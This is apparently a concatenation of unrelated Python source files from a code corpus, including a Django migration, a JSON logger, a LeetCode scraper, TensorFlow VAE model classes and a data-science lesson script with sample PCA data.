Thank you for doing business with Alpha Auctions! Don't hesitate to reach out for help facilitating the complete execution of this transaction.
\n
Team 50
"""
send_mail('You won an Auction on Alpha!', buyer_text, '<EMAIL>', [buyer.email, '<EMAIL>',])
send_mail('Your Auction has sold!', seller_text, '<EMAIL>', [seller.email, '<EMAIL>',])
| 2.21875 | 2 |
source_optics/migrations/0022_auto_20190831_2043.py | heemayl/source_optics | 1 | 12768825 | <reponame>heemayl/source_optics
# Generated by Django 2.2.2 on 2019-08-31 20:43
import django.db.models.deletion
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('source_optics', '0021_auto_20190831_2005'),
]
operations = [
migrations.AddField(
model_name='statistic',
name='days_before_last',
field=models.IntegerField(default=-1, null=True),
),
migrations.AlterField(
model_name='filechange',
name='file',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='file_changes', to='source_optics.File'),
),
]
| 1.46875 | 1 |
clubbi_utils/json_logging.py | dev-clubbi/clubbi_utils | 0 | 12768826 | from typing import Any
from .logging import logger, LogLevelEnum
from clubbi_utils import json
from typing import Callable
import logging
class JsonLogger:
def __init__(self, logger:logging.Logger):
self.logger = logger
setattr(self, "fatal", self._log(LogLevelEnum.fatal))
setattr(self, "error", self._log(LogLevelEnum.error))
setattr(self, "warning", self._log(LogLevelEnum.warning))
setattr(self, "info", self._log(LogLevelEnum.info))
setattr(self, "debug", self._log(LogLevelEnum.debug))
def log(self, log_level: LogLevelEnum, workflow: str, message: str, **kwargs: Any) -> None:
payload = dict(
workflow=workflow,
message=message,
level=log_level,
**kwargs,
)
self.logger.log(level=log_level.to_python_log_level(), msg=json.dumps(payload))
def _log(self, log_level: LogLevelEnum) -> Callable:
return lambda workflow, message, **kwargs: self.log(log_level, workflow, message, **kwargs)
def fatal(self, workflow: str, message: str, **kwargs: Any) -> None:
pass
def error(self, workflow: str, message: str, **kwargs: Any) -> None:
pass
def warning(self, workflow: str, message: str, **kwargs: Any) -> None:
pass
def info(self, workflow: str, message: str, **kwargs: Any) -> None:
pass
def debug(self, workflow: str, message: str, **kwargs: Any) -> None:
pass
jlogger = JsonLogger(logger)
| 2.53125 | 3 |
descriptor/exercises/bulkfood/5/solution/bulkfood.py | ambleacme/decorators-descriptors | 78 | 12768827 | class Quantity(object):
def __get__(self, instance, owner):
return getattr(instance, self.target_name)
def __set__(self, instance, value):
if not hasattr(self, 'target_name'):
self.set_target_names(instance)
if value > 0:
setattr(instance, self.target_name, value)
else:
raise ValueError('value must be > 0')
def set_target_names(self, instance, owner=None):
owner = owner if owner else instance.__class__
for key, attr in owner.__dict__.items():
if hasattr(attr, 'set_target_names'):
setattr(attr, 'target_name', '_%s__%s' % (owner.__name__, key))
class LineItem(object):
weight = Quantity()
price = Quantity()
def __init__(self, description, weight, price):
self.description = description
self.weight = weight
self.price = price
def subtotal(self):
return self.weight * self.price
| 3.375 | 3 |
Problem/PeopleFund/itertools_permutations().py | yeojin-dev/coding-test | 2 | 12768828 | <reponame>yeojin-dev/coding-test<gh_stars>1-10
from itertools import permutations
string, number = input().split()
print('\n'.join([''.join(i) for i in permutations(sorted(string), int(number))]))
| 3.09375 | 3 |
generate.py | lizij/Leetcode | 1 | 12768829 | <filename>generate.py
#!coding=utf-8
import codecs, sys, os, traceback, re
from selenium import webdriver
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support.expected_conditions import element_to_be_clickable, visibility_of_element_located
from selenium.webdriver.common.by import By
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
BASE_URL = "https://leetcode.com"
def create_package(name, code = None, description = None):
problem_dir = os.path.join(os.path.join(BASE_DIR, "src"), name)
print("Creating package at:%s" % problem_dir)
if not os.path.exists(problem_dir):
os.mkdir(problem_dir)
readme_name = os.path.join(problem_dir, "Readme.md")
if not os.path.exists(readme_name):
readme = codecs.open(filename=readme_name, mode="w", encoding="utf-8")
if description:
readme.write(description)
readme.close()
solution_name = os.path.join(problem_dir, "Solution.java")
if not os.path.exists(solution_name):
solution = codecs.open(filename=solution_name, mode="w", encoding="utf-8")
if code:
solution.write(code)
solution.flush()
solution.close()
def get_description_code(argv, lang ="java"):
url = "{}/problems/{}/description/".format(BASE_URL, "-".join(argv).lower())
print("Start getting infomation from %s" % url)
service_args = [
'--proxy=127.0.0.1:1080',
'--proxy-type=socks5',
]
description = ""
try:
# Get web driver
driver = webdriver.Chrome(executable_path=os.path.join("browser", "chromedriver"), service_args=service_args)
# driver = webdriver.PhantomJS(executable_path=os.path.join("browser", "phantomjs.exe"), service_args=service_args)
driver.get(url)
# Set language
# wait = WebDriverWait(driver=driver, timeout=5)
# wait.until(method=visibility_of_element_located((By.CLASS_NAME, "Select-control")))
# lang_dropdown = driver.find_element_by_class_name("Select-control")
# print(lang_dropdown)
# actions = ActionChains(driver)
# actions.move_to_element(lang_dropdown).click()
# actions.perform()
# wait.until(method=visibility_of_element_located((By.CLASS_NAME, "Select-menu-outer")))
# actions.reset_actions()
# actions.move_to_element_with_offset(lang_dropdown, 5, 100).click().perform()
# driver.refresh()
WebDriverWait(driver=driver, timeout=5).until(method=visibility_of_element_located((By.CLASS_NAME, "question-description")))
description = driver.find_element_by_class_name("question-description").text
print("Description:%s..." % description[0:10])
code = driver.find_element_by_name("lc-codemirror").get_attribute("value")
print("Code of %s:\r\n%s" % (lang, code))
driver.quit()
except:
traceback.print_exc()
exit(0)
if lang == "java":
package_name = "_".join(argv)
if re.match("^\d.*", package_name):
package_name = "_" + package_name
code = "package %s;\r\n" \
"public class Solution {\r\n" \
"\tpublic static void main(String[] args) {\r\n" \
"\t\tSolution s = new Solution();\r\n\t}\r\n}" % package_name
description = description.replace("Input", "```\r\nInput").replace("Note", "```\r\nNote")
create_package(package_name, code=code, description=description)
if __name__ == "__main__":
if (len(sys.argv) < 2):
print("Usage:python3 generate.py [problem name]")
exit(0)
get_description_code(sys.argv[1:]) | 2.71875 | 3 |
vae_ld/models/vaes.py | bonheml/VAE_learning_dynamics | 3 | 12768830 | <gh_stars>1-10
import tensorflow as tf
from tensorflow import math as tfm
from vae_ld.models import logger
from vae_ld.models.vae_utils import compute_gaussian_kl, compute_batch_tc, compute_covariance, shuffle_z
class VAE(tf.keras.Model):
""" Vanilla VAE model based on Locatello et al. [1] implementation (https://github.com/google-research/
disentanglement_lib) and Keras example (https://keras.io/examples/generative/vae/)
[1] Locatello et al, (2019). Challenging Common Assumptions in the Unsupervised Learning of Disentangled
Representations. Proceedings of the 36th International Conference on Machine Learning, in PMLR 97:4114-4124
"""
def __init__(self, *, encoder, decoder, reconstruction_loss_fn, input_shape, latent_shape, **kwargs):
""" Model initialisation
:param encoder: the encoder to use (must be initialised beforehand). It is expected to return a sampled z,
z_mean and z_log_var
:dip_type encoder: tf.keras.Model
:param decoder: the decoder to use (must be initialised beforehand). It should take a sampled z as input
:dip_type decoder: tf.keras.Model
:param reconstruction_loss_fn: The metric to use for the reconstruction loss (e.g. l2, bernoulli, etc.)
:param optimizer: The optimizer to use (e.g., adam). It must be initialised beforehand
"""
super(VAE, self).__init__(**kwargs)
self.encoder = encoder
self.encoder.build((None, *input_shape))
self.encoder.summary()
self.decoder = decoder
self.decoder.build((None, latent_shape))
self.decoder.summary()
self.reconstruction_loss_fn = reconstruction_loss_fn
self.kl_loss_tracker = tf.keras.metrics.Mean(name="kl_loss")
self.elbo_loss_tracker = tf.keras.metrics.Mean(name="elbo_loss")
self.reconstruction_loss_tracker = tf.keras.metrics.Mean(name="reconstruction_loss")
self.model_loss_tracker = tf.keras.metrics.Mean(name="model_loss")
# This is needed to save the model properly
self.built = True
# This decorator is needed to prevent input shape errors
@tf.function(input_signature=[tf.TensorSpec([None, None, None, None], tf.float32)])
def call(self, inputs):
z = self.encoder(inputs)[-1]
return self.decoder(z)[-1]
@property
def metrics(self):
return [self.model_loss_tracker, self.elbo_loss_tracker, self.kl_loss_tracker, self.reconstruction_loss_tracker]
def compute_model_loss(self, reconstruction_loss, kl_loss, z_mean, z_log_var, z):
""" Compute the model custom loss.
:param reconstruction_loss: the reconstruction error
:param kl_loss: the kl divergence
:param z_mean: the mean of the latent representations
:param z_log_var: the log variance of the latent representations
:param z: the sampled latent representations
:return: the model loss
"""
return tf.add(reconstruction_loss, kl_loss)
def get_gradient_step_output(self, data, training=True):
losses = {}
z_mean, z_log_var, z = self.encoder(data, training=training)[-3:]
reconstruction = self.decoder(z, training=training)[-1]
losses["reconstruction_loss"] = tf.reduce_mean(self.reconstruction_loss_fn(data, reconstruction))
losses["kl_loss"] = tf.reduce_mean(compute_gaussian_kl(z_log_var, z_mean))
losses["elbo_loss"] = -tf.add(losses["reconstruction_loss"], losses["kl_loss"])
losses["model_loss"] = self.compute_model_loss(losses["reconstruction_loss"], losses["kl_loss"], z_mean, z_log_var, z)
return losses
def update_metrics(self, losses):
for m in self.metrics:
m.update_state(losses[m.name])
loss_res = {m.name: m.result() for m in self.metrics}
return loss_res
def train_step(self, data):
if isinstance(data, tuple):
data = data[0]
logger.debug("Receive batch of size {} for training".format(data.shape))
with tf.GradientTape() as tape:
losses = self.get_gradient_step_output(data)
grads = tape.gradient(losses["model_loss"], self.trainable_weights)
self.optimizer.apply_gradients(zip(grads, self.trainable_weights))
return self.update_metrics(losses)
def test_step(self, data):
if isinstance(data, tuple):
data = data[0]
logger.debug("Receive batch of size {} for testing".format(data.shape))
losses = self.get_gradient_step_output(data, training=False)
return self.update_metrics(losses)
class BetaVAE(VAE):
def __init__(self, *, beta, **kwargs):
""" Creates a beta-VAE model [1] based on Locatello et al. [2] implementation
(https://github.com/google-research/disentanglement_lib)
[1] <NAME> al. (2017). β-VAE: Learning Basic Visual Concepts with a Constrained Variational Framework.
In 5th International Conference on Learning Representations, ICLR 2017, Toulon, France.
[2] <NAME>. (2019). Challenging Common Assumptions in the Unsupervised Learning of Disentangled
Representations. In <NAME> and <NAME>, eds., Proceedings of the 36th International Conference
on Machine Learning, Proceedings of Machine Learning Research, vol. 97, Long Beach, California, USA: PMLR,
pp. 4114–4124.
:param beta: the regularisation value
"""
super(BetaVAE, self).__init__(**kwargs)
self.beta = beta
def compute_model_loss(self, reconstruction_loss, kl_loss, z_mean, z_log_var, z):
reg_kl_loss = self.beta * kl_loss
return tf.add(reconstruction_loss, reg_kl_loss)
class AnnealedVAE(VAE):
def __init__(self, *, gamma, max_capacity, iteration_threshold, **kwargs):
""" Creates a Annealed-VAE model [1] based on Locatello et al. [2] implementation
(https://github.com/google-research/disentanglement_lib)
[1] <NAME>. et al. (2018). Understanding Disentangling in β-VAE. arXiv e-prints, 1804.03599.
[2] Locatello et al, (2019). Challenging Common Assumptions in the Unsupervised Learning of Disentangled
Representations. Proceedings of the 36th International Conference on Machine Learning, in PMLR 97:4114-4124
:param gamma: the regularisation value
:param max_capacity: the maximum encoding capacity
:param iteration_threshold: number of iterations to perform before reaching max_capacity
"""
super(AnnealedVAE, self).__init__(**kwargs)
self.gamma = gamma
self.max_capacity = max_capacity * 1.
self.iteration_threshold = iteration_threshold
def compute_model_loss(self, reconstruction_loss, kl_loss, z_mean, z_log_var, z):
current_step = tf.cast(self.optimizer.iterations, dtype=tf.float32)
current_capacity = self.max_capacity * current_step / self.iteration_threshold
c = tf.minimum(self.max_capacity, current_capacity)
reg_kl_loss = self.gamma * tf.abs(kl_loss - c)
return tf.add(reconstruction_loss, reg_kl_loss)
class BetaTCVAE(VAE):
def __init__(self, *, beta, **kwargs):
""" Creates a Beta-TCVAE model [1] based on Locatello et al. [2] implementation
(https://github.com/google-research/disentanglement_lib)
[1] Chen, <NAME>. et al. (2018). Isolating Sources of Disentanglement in Variational Autoencoders.
In <NAME>, <NAME>, <NAME>, <NAME>, <NAME> and <NAME>, eds.,
Advances in Neural Information Processing Systems 31, Curran Associates, Inc., pp. 2610–2620.
[2] Locatello et al, (2019). Challenging Common Assumptions in the Unsupervised Learning of Disentangled
Representations. Proceedings of the 36th International Conference on Machine Learning, in PMLR 97:4114-4124
:param beta: the regularisation value
"""
super(BetaTCVAE, self).__init__(**kwargs)
self.beta = beta
def compute_model_loss(self, reconstruction_loss, kl_loss, z_mean, z_log_var, z):
tc = (self.beta - 1.) * compute_batch_tc(z, z_mean, z_log_var)
reg_kl_loss = tc + kl_loss
return tf.add(reconstruction_loss, reg_kl_loss)
class FactorVAE(VAE):
def __init__(self, *, gamma, discriminator, discriminator_optimizer, **kwargs):
""" Creates a FactorVAE model [1] based on Locatello et al. [2] implementation
(https://github.com/google-research/disentanglement_lib)
[1] <NAME>. and <NAME>. (2018). Disentangling by Factorising. In <NAME> and <NAME>, eds., Proceedings of the
35th International Conference on Machine Learning, Proceedings of Machine Learning Research, vol. 80,
Stockholmsmässan, Stockholm Sweden: PMLR, pp. 2649–2658.
[2] Locatello et al, (2019). Challenging Common Assumptions in the Unsupervised Learning of Disentangled
Representations. Proceedings of the 36th International Conference on Machine Learning, in PMLR 97:4114-4124
:param gamma: the regularisation value
:param discriminator: the discriminator model
:param discriminator_optimizer: the optimizer used for the discriminator
"""
super(FactorVAE, self).__init__(**kwargs)
self.gamma = gamma
self.discriminator = discriminator
self.discriminator_optimizer = discriminator_optimizer
self.discriminator_loss_tracker = tf.keras.metrics.Mean(name="discriminator_loss")
self.tc_loss_tracker = tf.keras.metrics.Mean(name="tc_loss")
@property
def metrics(self):
return [self.model_loss_tracker, self.elbo_loss_tracker, self.kl_loss_tracker, self.reconstruction_loss_tracker,
self.discriminator_loss_tracker, self.tc_loss_tracker]
def compute_tc_and_discriminator_loss(self, z, training=True):
""" Compute the loss of the discriminator and the tc loss based on Locatello et al. implementation
(https://github.com/google-research/disentanglement_lib)
:param z: the sampled latent representation
:return: tuple containing tc_loss and discriminator_loss
"""
losses = {}
z_shuffled = shuffle_z(z)
logits_z, p_z = self.discriminator(z, training=training)[-2:]
p_z_shuffled = self.discriminator(z_shuffled, training=training)[-1]
# tc_loss = E[log(p_z_real) - log(p_z_fake)] = E[logits_z_real - logits_z_fake]
losses["tc_loss"] = tf.reduce_mean(logits_z[:, 0] - logits_z[:, 1], axis=0)
# discriminator_loss = -0.5 * (E[log(p_z_real)] + E[log(p_z_shuffled_fake)])
e_log_p_z_real = tf.reduce_mean(tfm.log(p_z[:, 0]))
e_log_p_z_shuffled_fake = tf.reduce_mean(tfm.log(p_z_shuffled[:, 1]))
losses["discriminator_loss"] = -tf.add(0.5 * e_log_p_z_real, 0.5 * e_log_p_z_shuffled_fake)
return losses["tc_loss"], losses["discriminator_loss"]
def get_gradient_step_output(self, data, training=True):
losses = {}
z_mean, z_log_var, z = self.encoder(data, training=training)[-3:]
reconstruction = self.decoder(z, training=training)[-1]
losses["reconstruction_loss"] = tf.reduce_mean(self.reconstruction_loss_fn(data, reconstruction))
losses["kl_loss"] = tf.reduce_mean(compute_gaussian_kl(z_log_var, z_mean))
losses["elbo_loss"] = -tf.add(losses["reconstruction_loss"], losses["kl_loss"])
losses.update(self.compute_tc_and_discriminator_loss(z, training=training))
losses["model_loss"] = tf.add(losses["elbo_loss"], self.gamma * losses["tc_loss"])
return losses
def train_step(self, data):
if isinstance(data, tuple):
data = data[0]
with tf.GradientTape(persistent=True) as tape:
losses = self.get_gradient_step_output(data)
# Backprop model loss to encoder and decoder
vae_trainable_weights = self.encoder.trainable_weights + self.decoder.trainable_weights
grads_vae = tape.gradient(losses["model_loss"], vae_trainable_weights)
self.optimizer.apply_gradients(zip(grads_vae, vae_trainable_weights))
# Backprop discriminator loss separately to the discriminator only
grads_discriminator = tape.gradient(losses["discriminator_loss"], self.discriminator.trainable_weights)
self.discriminator_optimizer.apply_gradients(zip(grads_discriminator, self.discriminator.trainable_weights))
return self.update_metrics(losses)
class DIPVAE(VAE):
def __init__(self, *, lambda_off_diag, lambda_factor, dip_type, **kwargs):
""" Creates a DIPVAE model [1] based on Locatello et al. [2] implementation
(https://github.com/google-research/disentanglement_lib)
[1] <NAME>. et al. (2018). Variational Inference of Disentangled Latent Concepts from Unlabeled Observations.
In 6th International Conference on Learning Representations, ICLR 2018, Vancouver, BC, Canada.
[2] Locatello et al, (2019). Challenging Common Assumptions in the Unsupervised Learning of Disentangled
Representations. Proceedings of the 36th International Conference on Machine Learning, in PMLR 97:4114-4124
:param lambda_diag: the regularisation term for diagonal values of covariance matrix
:param lambda_factor: the regularisation term for off-diagonal values of covariance matrix
:param dip_type: the type of model. Can be "i" or "ii"
"""
super(DIPVAE, self).__init__(**kwargs)
self.lambda_off_diag = lambda_off_diag
self.lambda_diag = lambda_factor * self.lambda_off_diag
self.dip_type = dip_type
def compute_dip_reg(self, cov):
cov_diag = tf.linalg.diag_part(cov)
cov_off_diag = cov - tf.linalg.diag(cov_diag)
off_diag_reg = self.lambda_off_diag * tf.reduce_sum(cov_off_diag ** 2)
diag_reg = self.lambda_diag * tf.reduce_sum((cov_diag - 1) ** 2)
return tf.add(off_diag_reg, diag_reg)
def compute_model_loss(self, reconstruction_loss, kl_loss, z_mean, z_log_var, z):
if self.dip_type not in ["i", "ii"]:
raise NotImplementedError("DIP VAE {} does not exist".format(self.dip_type))
cov = compute_covariance(z_mean)
if self.dip_type == "ii":
cov += tf.reduce_mean(tf.linalg.diag(tf.exp(z_log_var)), axis=0)
reg_kl_loss = self.compute_dip_reg(cov) + kl_loss
return tf.add(reconstruction_loss, reg_kl_loss)
| 2.390625 | 2 |
projects/DA-project-3/problem-4.py | metanitesh/Data-Structure-Algorithm-Python | 0 | 12768831 | <gh_stars>0
def sort_012(inputList):
next0 = 0
next2 = len(inputList) - 1
frontIndex = 0
while frontIndex <= next2:
if inputList[frontIndex] is 0:
inputList[frontIndex] = inputList[next0]
inputList[next0] = 0
next0 += 1
frontIndex += 1
elif inputList[frontIndex] == 2:
inputList[frontIndex] = inputList[next2]
inputList[next2] = 2
next2 -= 1
else:
frontIndex += 1
return inputList
print(sort_012([0, 0, 2, 2, 2, 1, 1, 1, 2, 0, 2]));
# 0, 0, 0, 1, 1, 1, 2, 2, 2, 2, 2]
print(sort_012([1,0]));
# [0, 1]
print(sort_012([]));
# []
| 3.296875 | 3 |
lesson9_working_with_data.py | panos1998/Thesis_preparation | 0 | 12768832 | from typing import List, Dict, Tuple
from collections import Counter
import random
import lesson3
from lesson5 import inverse_normal_cdf
import math
import matplotlib.pyplot as plt
from lesson4 import correlation, standard_deviation
from lesson3 import Matrix, Vector, make_matrix, vector_mean, subtract, magnitude, scalar_multiply
from lesson7_Gradient_Descent import gradient_step
# Αυτή είναι η μέθοδος για να ομαδοποιούμε στοιχεία σε κάδους ανάλογα το μέγεθος της τιμής τους
# και ανάλογα το εύρος τιμών(πλατος) κάθε κάδου bucket_size
def bucketize(point: float, bucket_size: float) -> float:
return bucket_size * math.floor(point / bucket_size)
def make_histogram(points: List[float], bucket_size: float) -> Dict[float, int]:
return Counter(bucketize(point, bucket_size) for point in points)
def plot_histogram(points: List[float], bucket_size: float, title: str = ""):
histogram = make_histogram(points, bucket_size)
plt.bar(histogram.keys(), histogram.values(), width=bucket_size)
plt.title(title)
plt.show()
random.seed(0)
uniform = [200 * random.random() - 100 for _ in range(10000)]
normal = [57 * inverse_normal_cdf(random.random())
for _ in range(10000)]
plot_histogram(uniform, 10, "Το ιστόγραμμα του συνόλου uniform")
plot_histogram(normal, 10, "Το ιστόγραμμα του συνόλου Normal")
"""Επιστρέφει ενα τυχαιο δειγμα απο μια τυπικη κανονικη κατανομη"""
def random_normal() -> float:
return inverse_normal_cdf(random.random())
xs = [random_normal() for _ in range(1000)]
ys1 = [x + random_normal() / 2 for x in xs]
ys2 = [-x + random_normal() / 2 for x in xs]
plot_histogram(ys1, 10, 'plot ys1')
plot_histogram(ys2, 10, 'plot ys2')
"""Διάγραμμα διασποράς"""
plt.scatter(xs, ys1, marker='.', color='black', label='ys1')
plt.scatter(xs, ys2, marker='.', color='gray', label='ys2')
plt.xlabel('xs')
plt.ylabel('ys')
plt.legend(loc=9)
plt.title("Πολυ διαφορετικές απο κοινού κατανομές")
plt.show()
print(correlation(xs, ys1))
print(correlation(xs, ys2))
def correlation_matrix(data: List[Vector]) -> Matrix:
def correlation_ij(i: int, j: int) -> float:
return correlation(data[i], data[j])
return make_matrix(len(data), len(data), correlation_ij)
assert 0.89 < correlation(xs, ys1) < 0.91
assert -0.91 < correlation(xs, ys2) < -0.89
corr_data = [[math.floor(inverse_normal_cdf(random.random())) for _ in range(6000)] for _ in range(4)]
num_vectors = len(corr_data)
fig, ax = plt.subplots(num_vectors, num_vectors)
for i in range(num_vectors):
for j in range(num_vectors):
if i != j: ax[i][j].scatter(corr_data[j], corr_data[i])
else: ax[i][j].annotate("series" + str(i), (0.5, 0.5),
xycoords='axes fraction',
ha='center', va='center')
if i < num_vectors -1: ax[i][j].xaxis.set_visible(False)
if j > 0: ax[i][j].yaxis.set_visible(False)
ax[-1][-1].set_xlim(ax[0][-1].get_xlim())
ax[0][0].set_ylim(ax[0][1].get_ylim())
plt.show()
#NamedTuples
import datetime
stock_price ={'closing_price': 102.06,
'date': datetime.date(2014, 8, 29),
'symbol': 'AAPL'}
prices: Dict[datetime.date, float] = {}
from collections import namedtuple
StockPrice = namedtuple('StockPrice',['symbol', 'date', 'closing_price'])
price = StockPrice('MSFT',datetime.date(2018, 12, 14), 106.03)
assert price.symbol == 'MSFT'
assert price.closing_price == 106.03
from typing import NamedTuple
class StockPrice(NamedTuple):
symbol: str
date: datetime.date
closing_price: float
def is_high_tech(self) -> bool:
return self.symbol in ['MSFT', 'GOOG', 'FB', 'AMZN', 'AAPL']
price = StockPrice('MSFT', datetime.date(2018, 12, 14), 106.03)
assert price.symbol == 'MSFT'
assert price.closing_price == 106.03
assert price.is_high_tech()
from dataclasses import dataclass
@dataclass
class StockPrice2:
symbol: str
date: datetime.date
closing_price: float
def is_high_tech(self) -> bool:
return self.symbol in ['MSFT', 'GOOG', 'FB', 'AMZN', 'AAPL']
price2 = StockPrice2('MSFT', datetime.date(2018, 12, 14), 106.03)
assert price2.symbol == 'MSFT'
assert price2.closing_price == 106.03
assert price2.is_high_tech()
price2.closing_price /= 2
assert price2.closing_price == 53.015
from dateutil.parser import parse
def parse_row(row: List[str]) -> StockPrice:
symbol, date, closing_price = row
return StockPrice(symbol=symbol,
date=parse(date).date(),
closing_price=float(closing_price))
stock = parse_row(['MSFT', '2018-12-14', '106.03'])
from typing import Optional
import re
def try_parse_row(row: List[str]) -> Optional[StockPrice]:
symbol, date, closing_price = row
if not re.match(r"^[A-Z]+$", symbol):
return None
try:
date = parse(date).date()
except ValueError:
return None
try:
closing_price = float(closing_price)
except ValueError:
return None
return StockPrice(symbol, date, closing_price)
# Should return None for errors
assert try_parse_row(["MSFT0", "2018-12-14", "106.03"]) is None
assert try_parse_row(["MSFT", "2018-12--14", "106.03"]) is None
assert try_parse_row(["MSFT", "2018-12-14", "x"]) is None
# But should return same as before if data is good.
assert try_parse_row(["MSFT", "2018-12-14", "106.03"]) == stock
import csv
data: List[StockPrice] = []
with open('file.txt') as f:
reader = csv.reader(f)
for row in reader:
maybe_stock = try_parse_row(row)
if maybe_stock is None:
print(f'παράλειψη ακυρης γραμμης: {row}')
else:
data.append(maybe_stock)
print(maybe_stock)
data = [
StockPrice(symbol='MSFT',
date=datetime.date(2018, 12, 24),
closing_price=106.03,
#.....
)]
#max_aapl_price = max(stock_price.closing_price
# for stock_price in data
# if stock_price.symbol == 'AAPL')
from collections import defaultdict
#max_prices: Dict[str, float] = defaultdict(lambda: float('-inf'))
#for sp in data:
# symbol, closing_price = sp.symbol, sp.closing_price
# if closing_price > max_prices[symbol]:
# max_prices[symbol] = closing_price
prices: Dict[str, List[StockPrice]] = defaultdict(list)
for sp in data:
prices[sp.symbol].append(sp)
prices = {symbol: sorted(symbol_prices)
for symbol, symbol_prices in prices.items()}
def pct_change(yesterday: StockPrice, today: StockPrice) -> float:
return today.closing_price / yesterday.closing_price - 1
class DailyChange(NamedTuple):
symbol: str
date: datetime.date
pct_change: float
def day_over_day_changes(prices: List[StockPrice]) -> List[DailyChange]:
return [DailyChange(symbol=today.symbol,
date=today.date,
pct_change=pct_change(yesterday, today))
for yesterday, today in zip(prices[0:], prices[1:])]
all_changes = [change
for symbol_prices in prices.values()
for change in day_over_day_changes(symbol_prices)]
#max_change = max(all_changes, key=lambda change: change.pct_change)
#min_change = min(all_changes, key=lambda change: change.pct_change)
#changes_by_month: List[DailyChange] = {month: [] for month in range(1, 13)}
#for change in all_changes:
# changes_by_month[change.date.month].append(change)
#avg_daily_change = {month: sum(change.pct_change for change in changes) / len(changes)
#for month, changes in changes_by_month.items()}
a_to_b = lesson3.distance([63, 150], [67, 160])
a_to_c = lesson3.distance([63, 150], [70, 171])
b_to_c = lesson3.distance([67, 160], [70, 171])
a_to_b = lesson3.distance([160, 150], [170.2, 160])
a_to_c = lesson3.distance([160, 150], [177.8, 171])
b_to_c = lesson3.distance([170.2, 160], [177.8, 171])
def scale(data: List[Vector]) -> Tuple[Vector, Vector]:
dim = len(data[0])
means = vector_mean(data)
stdevs = [standard_deviation([vector[i] for vector in data])
for i in range(dim)]
return means, stdevs
vectors = [[-3, -1, 1], [-1, 0, 1], [1, 1, 1]]
means, stdevs = scale(vectors)
assert means == [-1, 0, 1]
assert stdevs == [2, 1, 0]
def rescale(data: List[Vector]) -> List[Vector]:
dim = len(data[0])
means, stdevs = scale(data)
rescaled = [v[:] for v in data]
for v in rescaled:
for i in range(dim):
if stdevs[i] > 0:
v[i] = (v[i] - means[i]) / stdevs[i]
return rescaled
means, stdevs = scale(rescale(vectors))
assert means == [0, 0, 1]
assert stdevs == [1, 1, 0]
import tqdm
for i in tqdm.tqdm(range(100), colour='blue'):
_ = [random.random() for _ in range(1000000)]
def primes_up_to(n: int) -> List[int]:
primes = [2]
with tqdm.trange(3, n) as t:
for i in t:
i_is_prime = not any( i % p == 0 for p in primes)
if i_is_prime:
primes.append(i)
t.set_description(f"{len(primes)} primes")
return primes
my_primes = primes_up_to(100_000)
def de_mean(data: List[Vector]) -> List[Vector]:
mean = vector_mean(data)
return [subtract(vector, mean) for vector in data]
def direction(w: Vector) -> Vector:
mag = magnitude(w)
return [w_i / mag for w_i in w]
def directional_variance(data: List[Vector], w: Vector) -> float:
w_dir = direction(w)
return sum(lesson3.dot(v, w_dir) ** 2 for v in data)
def directional_variance_gradient(data: List[Vector], w: Vector) -> Vector:
w_dir = direction(w)
return [sum(2 * lesson3.dot(v, w_dir) * v[i] for v in data)
for i in range(len(w))]
def first_principal_component(data: List[Vector],
n: int = 100,
step_size: float = 0.1) -> Vector:
guess = [1.0 for _ in data[0]]
with tqdm.trange(n) as t:
for _ in t:
dv = directional_variance(data, guess)
gradient = directional_variance_gradient(data, guess)
guess = gradient_step(guess, gradient, step_size)
t.set_description(f"dev: {dv:.3f}")
return direction(guess)
pca_data = [
[20.9666776351559,-13.1138080189357],
[22.7719907680008,-19.8890894944696],
[25.6687103160153,-11.9956004517219],
[18.0019794950564,-18.1989191165133],
[21.3967402102156,-10.8893126308196],
[0.443696899177716,-19.7221132386308],
[29.9198322142127,-14.0958668502427],
[19.0805843080126,-13.7888747608312],
[16.4685063521314,-11.2612927034291],
[21.4597664701884,-12.4740034586705],
[3.87655283720532,-17.575162461771],
[34.5713920556787,-10.705185165378],
[13.3732115747722,-16.7270274494424],
[20.7281704141919,-8.81165591556553],
[24.839851437942,-12.1240962157419],
[20.3019544741252,-12.8725060780898],
[21.9021426929599,-17.3225432396452],
[23.2285885715486,-12.2676568419045],
[28.5749111681851,-13.2616470619453],
[29.2957424128701,-14.6299928678996],
[15.2495527798625,-18.4649714274207],
[26.5567257400476,-9.19794350561966],
[30.1934232346361,-12.6272709845971],
[36.8267446011057,-7.25409849336718],
[32.157416823084,-10.4729534347553],
[5.85964365291694,-22.6573731626132],
[25.7426190674693,-14.8055803854566],
[16.237602636139,-16.5920595763719],
[14.7408608850568,-20.0537715298403],
[6.85907008242544,-18.3965586884781],
[26.5918329233128,-8.92664811750842],
[-11.2216019958228,-27.0519081982856],
[8.93593745011035,-20.8261235122575],
[24.4481258671796,-18.0324012215159],
[2.82048515404903,-22.4208457598703],
[30.8803004755948,-11.455358009593],
[15.4586738236098,-11.1242825084309],
[28.5332537090494,-14.7898744423126],
[40.4830293441052,-2.41946428697183],
[15.7563759125684,-13.5771266003795],
[19.3635588851727,-20.6224770470434],
[13.4212840786467,-19.0238227375766],
[7.77570680426702,-16.6385739839089],
[21.4865983854408,-15.290799330002],
[12.6392705930724,-23.6433305964301],
[12.4746151388128,-17.9720169566614],
[23.4572410437998,-14.602080545086],
[13.6878189833565,-18.9687408182414],
[15.4077465943441,-14.5352487124086],
[20.3356581548895,-10.0883159703702],
[20.7093833689359,-12.6939091236766],
[11.1032293684441,-14.1383848928755],
[17.5048321498308,-9.2338593361801],
[16.3303688220188,-15.1054735529158],
[26.6929062710726,-13.306030567991],
[34.4985678099711,-9.86199941278607],
[39.1374291499406,-10.5621430853401],
[21.9088956482146,-9.95198845621849],
[22.2367457578087,-17.2200123442707],
[10.0032784145577,-19.3557700653426],
[14.045833906665,-15.871937521131],
[15.5640911917607,-18.3396956121887],
[24.4771926581586,-14.8715313479137],
[26.533415556629,-14.693883922494],
[12.8722580202544,-21.2750596021509],
[24.4768291376862,-15.9592080959207],
[18.2230748567433,-14.6541444069985],
[4.1902148367447,-20.6144032528762],
[12.4332594022086,-16.6079789231489],
[20.5483758651873,-18.8512560786321],
[17.8180560451358,-12.5451990696752],
[11.0071081078049,-20.3938092335862],
[8.30560561422449,-22.9503944138682],
[33.9857852657284,-4.8371294974382],
[17.4376502239652,-14.5095976075022],
[29.0379635148943,-14.8461553663227],
[29.1344666599319,-7.70862921632672],
